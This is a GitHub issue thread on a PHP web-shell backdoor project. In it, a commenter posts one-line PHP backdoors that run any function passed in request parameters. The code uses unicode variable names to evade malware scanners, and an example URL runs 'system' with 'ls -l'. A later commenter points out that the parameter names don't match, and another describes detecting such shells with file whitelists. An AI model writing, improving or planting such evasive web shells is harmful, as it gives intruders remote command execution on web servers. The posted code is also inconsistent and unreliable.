Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

nano / ninja easily detectable #7

Open
foneyop opened this issue Jan 29, 2019 · 2 comments
Open

nano / ninja easily detectable #7

foneyop opened this issue Jan 29, 2019 · 2 comments

Comments

@foneyop
Copy link

foneyop commented Jan 29, 2019

hey bro, your backdoor is easily detectable. checkout php malware scanner. Also this will dump out a lot of php warnings on any current version of PHP.

Here is an alternate version that supports GET and POST and will bypass any current scanner by using unicode variable names, underscores and arrays.

The password comes by changing the variable names zc and xz

the code will execute the php command passed in the zc variable with the argument xz and will accept them from $_GET or $_POST

example: www.example.com/nano2.php?zc=system&zx=ls+-l

<?php $_qΔ[0]=array_merge(['zc'=>'','xz'=>'pi'],$_REQUEST);echo $_qΔ[0]['xz']($_qΔ[0]['zc']);

this could be shortened, but i think the previous version would make a more complex regex to detect:
<?php $Δ=array_merge(['z'=>0,'x'=>'pi'],$_REQUEST);echo $Δ['x']($Δ['z']);

@ghost
Copy link

ghost commented Jul 23, 2019

hey bro, your backdoor is easily detectable. checkout php malware scanner. Also this will dump out a lot of php warnings on any current version of PHP.

Here is an alternate version that supports GET and POST and will bypass any current scanner by using unicode variable names, underscores and arrays.

The password comes by changing the variable names zc and xz

the code will execute the php command passed in the zc variable with the argument xz and will accept them from $_GET or $_POST

example: www.example.com/nano2.php?zc=system&zx=ls+-l

<?php $_qΔ[0]=array_merge(['zc'=>'','xz'=>'pi'],$_REQUEST);echo $_qΔ[0]['xz']($_qΔ[0]['zc']);

this could be shortened, but i think the previous version would make a more complex regex to detect:
<?php $Δ=array_merge(['z'=>0,'x'=>'pi'],$_REQUEST);echo $Δ['x']($Δ['z']);

First of all i really like your idea. And my issue come up when i try to test your code (the second code). it didn't show any result rather than random number as show below:

cat test.php:
<?php $Δ=array_merge(['z'=>0,'x'=>'pi'],$_REQUEST);echo $Δ['x']($Δ['z']);
url: localhost/test.php?zc=system&zx=ls+-la
result: 3.1415926535898

i am new with web shell so i have no idea how to run your code.
hope you reply.
regards,

@p410n3
Copy link

p410n3 commented Aug 20, 2019

I also suggest to change the wording on the readme. "Fully undetectable" is a bold (and wrong) statement. Don't get me wrong, nice idea, but "undetectable" things dont't exist.

One can simply check using a whitelist of php files using nothing but find and diff commands. Also I have yet to see a base64decode command in the wild, except in poorly 'obfuscated' webshells (which are deobfiscated in seconds). So that could be marked by a scanner as "potential risk".

Basically, just change the wording :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants